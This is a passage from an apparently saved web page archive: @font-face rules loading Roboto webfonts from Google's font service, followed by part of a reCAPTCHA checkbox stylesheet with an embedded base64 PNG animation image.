U+300-301, U+303-304, U+308-309, U+323, U+329, U+1EA0-1= EF9, U+20AB; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2") for= mat("woff2"); unicode-range: U+100-2AF, U+304, U+308, U+329, U+1E00-1E9F, U= +1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A= 7FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 400; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2") format= ("woff2"); unicode-range: U+0-FF, U+131, U+152-153, U+2BB-2BC, U+2C6, U+2DA= , U+2DC, U+304, U+308, U+329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, = U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2")= format("woff2"); unicode-range: U+460-52F, U+1C80-1C88, U+20B4, U+2DE0-2DF= F, U+A640-A69F, U+FE2E-FE2F; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2")= format("woff2"); unicode-range: U+301, U+400-45F, U+490-491, U+4B0-4B1, U+= 2116; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2")= format("woff2"); unicode-range: U+1F00-1FFF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2")= format("woff2"); unicode-range: U+370-377, U+37A-37F, U+384-38A, U+38C, U+= 38E-3A1, U+3A3-3FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2")= format("woff2"); unicode-range: U+102-103, U+110-111, U+128-129, U+168-169= , U+1A0-1A1, U+1AF-1B0, U+300-301, U+303-304, U+308-309, U+323, U+329, U+1E= A0-1EF9, U+20AB; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2")= format("woff2"); unicode-range: U+100-2AF, U+304, U+308, U+329, U+1E00-1E9= F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A7= 20-A7FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 500; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2") fo= rmat("woff2"); unicode-range: U+0-FF, U+131, U+152-153, U+2BB-2BC, U+2C6, U= +2DA, U+2DC, U+304, U+308, U+329, U+2000-206F, U+2074, U+20AC, U+2122, U+21= 91, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2")= format("woff2"); unicode-range: U+460-52F, U+1C80-1C88, U+20B4, U+2DE0-2DF= F, U+A640-A69F, U+FE2E-FE2F; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2")= format("woff2"); unicode-range: U+301, U+400-45F, U+490-491, U+4B0-4B1, U+= 2116; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2")= format("woff2"); unicode-range: U+1F00-1FFF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2")= format("woff2"); unicode-range: U+370-377, U+37A-37F, U+384-38A, U+38C, U+= 38E-3A1, U+3A3-3FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2")= format("woff2"); unicode-range: U+102-103, U+110-111, U+128-129, U+168-169= , U+1A0-1A1, U+1AF-1B0, U+300-301, U+303-304, U+308-309, U+323, U+329, U+1E= A0-1EF9, U+20AB; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2")= format("woff2"); unicode-range: U+100-2AF, U+304, U+308, U+329, U+1E00-1E9= F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A7= 20-A7FF; } @font-face { font-family: Roboto; font-style: normal; font-weight: 900; src= : url("//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2") fo= rmat("woff2"); unicode-range: U+0-FF, U+131, U+152-153, U+2BB-2BC, U+2C6, U= +2DA, U+2DC, U+304, U+308, U+329, U+2000-206F, U+2074, U+20AC, U+2122, U+21= 91, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } ------MultipartBoundary--ysJREC9n2vnMOrXdoxZgNPm2698qqzCu5Uuu7faMiC---- Content-Type: text/css Content-Transfer-Encoding: quoted-printable Content-Location: https://www.gstatic.com/recaptcha/releases/rKbTvxTxwcw5VqzrtN-ICwWt/styles__ltr.css @charset "utf-8"; .goog-inline-block { position: relative; display: inline-block; } * html .goog-inline-block { display: inline; } :first-child + html .goog-inline-block { display: inline; } .recaptcha-checkbox { border: none; font-size: 1px; height: 28px; margin: 4= px; width: 28px; overflow: visible; outline: 0px; vertical-align: text-bott= om; } .recaptcha-checkbox-border { border-radius: 2px; background-color: rgb(255,= 255, 255); border: 2px solid rgb(193, 193, 193); font-size: 1px; height: 2= 4px; position: absolute; width: 24px; z-index: 1; } .recaptcha-checkbox-borderAnimation { background-image: url("data:image/png= ;base64,iVBORw0KGgoAAAANSUhEUgAAAFQAAANICAYAAABZl8i8AAAABmJLR0QA/wD/AP+gvae= TAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAABUAAADSAC4K4y8AAA4oElEQVR42u2dCZ= RV1ZX3q5iE4IQIiKQQCKBt0JLEIUZwCCk7pBNFiRMajZrIl9aOLZ8sY4CWdkDbT2McooaAEmNix= FhpaYE2dCiLScWiQHCgoGQoGQuhGArKKl7V+c5/n33fO/V4w733nVuheXuv9V/rrnvP2Xud3zvT= Pee+ewsKxMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMT= ExP4OdtlT6ztAbRWvvLy8A3QkwxzH6tBGMMexIo+nCgraaf2E1U6A5g60o9a9rI7S5N1APQaSzl= 1MTExMTExMTExMTExMTExMTExMTExMTExMTExMTOwIsMueWl8EtVW88vLyIqit4qmCguOgtoT5A= KuojWA+wCpqA5i9tP6d1UuA5g70K1oPsL4iTd4N1DMh6dzFxMTExMTExMTExMTExMTExMTExMTE= xMTExMTExMT+l9tlT63/stbtrC9HHa+8vPzLWrezIo+nCgq6a41hdW8LoAD5COv2NgAKkI+wbm8= DoHhf0yOsnwjQ3IHeaQG9U5p87kAHa01kDZZOXkxMTExMTExMTExMTExMTExMTExMTExMTExMTE= ysLe2yp9afoTWWdUbU8crLy8/QGsuKPJ4qKOirdRWrb1vAfDJJZ0QM88kknREhTLwR5wmtJ1lPR= PpmHK6VT/5q3g4SAx0bIVDUyidXr15NYqBjIwT6YwI5cqSRgfpjARoe6E8J4vjxRgboT6XJhwf6= Dau5e/qGDEq5Qb3I+mriRTINERMTExMTExMTExMTExMTExMTExMTExMTEzss7LKn1neB2ipeeXl= 5F+hIBHma1mStF1g4Pi1CkKdpTdZ6gYXjyOKpgoLeWndoPcPCce8oYU63YHqaHgVUhjndgulpeh= RQNbgiree0XkgSzhVFAZRq5pQ3t7+w+0CMhGOvpkYAlGrmhx9++EJTUxMJx15NjQDozwngN7/5g= nr/fSMcG6g/j6LPJHgAqZQi4diqqV0c95kEDyC9eDi2amoXhzCP0ppO8DZsiMejYwMU144SoP6B= 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 